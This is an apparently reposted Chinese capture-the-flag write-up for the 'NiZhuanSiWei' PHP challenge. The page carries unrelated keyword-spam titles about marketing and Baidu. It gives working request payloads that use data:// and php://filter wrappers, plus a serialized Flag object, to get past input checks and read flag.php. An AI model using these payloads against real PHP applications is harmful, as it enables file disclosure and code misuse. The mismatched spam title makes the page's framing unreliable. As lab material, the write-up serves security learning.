当前位置: 首页> 新闻> 焦点 > 2023网络营销案例分析_2021软件公司排名_临沂百度公司地址_免费下载官方百度

2023网络营销案例分析_2021软件公司排名_临沂百度公司地址_免费下载官方百度

时间:2025/9/9 3:18:51来源:https://blog.csdn.net/m0_65853019/article/details/147016583 浏览次数:2次
2023网络营销案例分析_2021软件公司排名_临沂百度公司地址_免费下载官方百度

22.NiZhuanSiWei

分析:有三个参数需要以get方式传入,发现有file_get_contents(),所以要使用php伪代码,preg_match("/flag/",$file)说明正则匹配不能含有flag,同时还有反序列化,存在漏洞。

已知前两个参数的值,上传

?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php 或者以base64的方式传入text ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

出现base64码,用base64解码器或者wsl解码后得到

<?php  class Flag{  //flag.php  public $file;  public function __tostring(){  if(isset($this->file)){  echo file_get_contents($this->file); echo "<br>";return ("U R SO CLOSE !///COME ON PLZ");}  }  
}  
?>  

存在反序列化操作,我们可以利用该代码修改变量file后添加输出后,进行序列化操作,再传输给password让其输出即可。

VScode中修改:

<?php  class Flag{  //flag.php  public $file="flag.php";  public function __tostring(){  if(isset($this->file)){  echo file_get_contents($this->file); echo "<br>";return ("U R SO CLOSE !///COME ON PLZ");}  }  
}  
$a=new Flag();
echo serialize($a);
?>  

运行获取结果后,传给password

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}  
或者
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}  
其中file第二次不用伪协议

得到flag

关键字:2023网络营销案例分析_2021软件公司排名_临沂百度公司地址_免费下载官方百度

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

责任编辑: